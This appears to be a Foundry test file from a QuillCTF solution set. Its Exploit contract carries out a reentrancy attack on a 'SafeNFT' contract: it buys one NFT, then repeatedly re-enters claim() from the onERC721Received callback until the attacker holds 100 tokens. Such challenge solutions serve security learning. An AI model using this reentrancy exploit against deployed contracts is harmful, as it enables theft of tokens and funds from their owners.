-
Notifications
You must be signed in to change notification settings - Fork 116
/
SafeNFT.t.sol
71 lines (58 loc) · 1.81 KB
/
SafeNFT.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.7;
import "forge-std/Test.sol";
import "../../src/QuillCTF/SafeNFT.sol";
contract SafeNFTTest is Test {
SafeNFT public safeNFT;
Exploit public exploit;
address public deployer;
address public attacker;
function setUp() public {
deployer = vm.addr(1);
attacker = vm.addr(2);
vm.deal(attacker, 0.01 ether);
vm.startPrank(deployer);
safeNFT = new SafeNFT("SafeNFT", "SNFT", 0.01 ether);
vm.stopPrank();
vm.startPrank(attacker);
exploit = new Exploit{value:0.01 ether}(safeNFT);
vm.stopPrank();
}
function testSafeNFTExploit() public {
// Before exploit
assertEq(safeNFT.balanceOf(attacker), 0);
console.log("Before exploit NFT counts: ", safeNFT.balanceOf(attacker));
// Exploit
vm.startPrank(attacker);
exploit.attack();
vm.stopPrank();
// After exploit
assertEq(safeNFT.balanceOf(attacker), 100);
console.log("After exploit NFT counts: ", safeNFT.balanceOf(attacker));
}
}
contract Exploit {
SafeNFT public safeNFT;
address public attacker;
uint256 public limit = 99;
uint256 public count;
constructor(SafeNFT _safeNFT) payable {
safeNFT = _safeNFT;
attacker = msg.sender;
}
function attack() public {
safeNFT.buyNFT{value: 0.01 ether}();
safeNFT.claim();
}
function reentrancy() internal {
if (count < limit) {
count++;
safeNFT.claim();
}
}
function onERC721Received(address, address, uint256 tokenId, bytes memory) public returns (bytes4) {
safeNFT.transferFrom(address(this), attacker, tokenId);
reentrancy();
return this.onERC721Received.selector;
}
}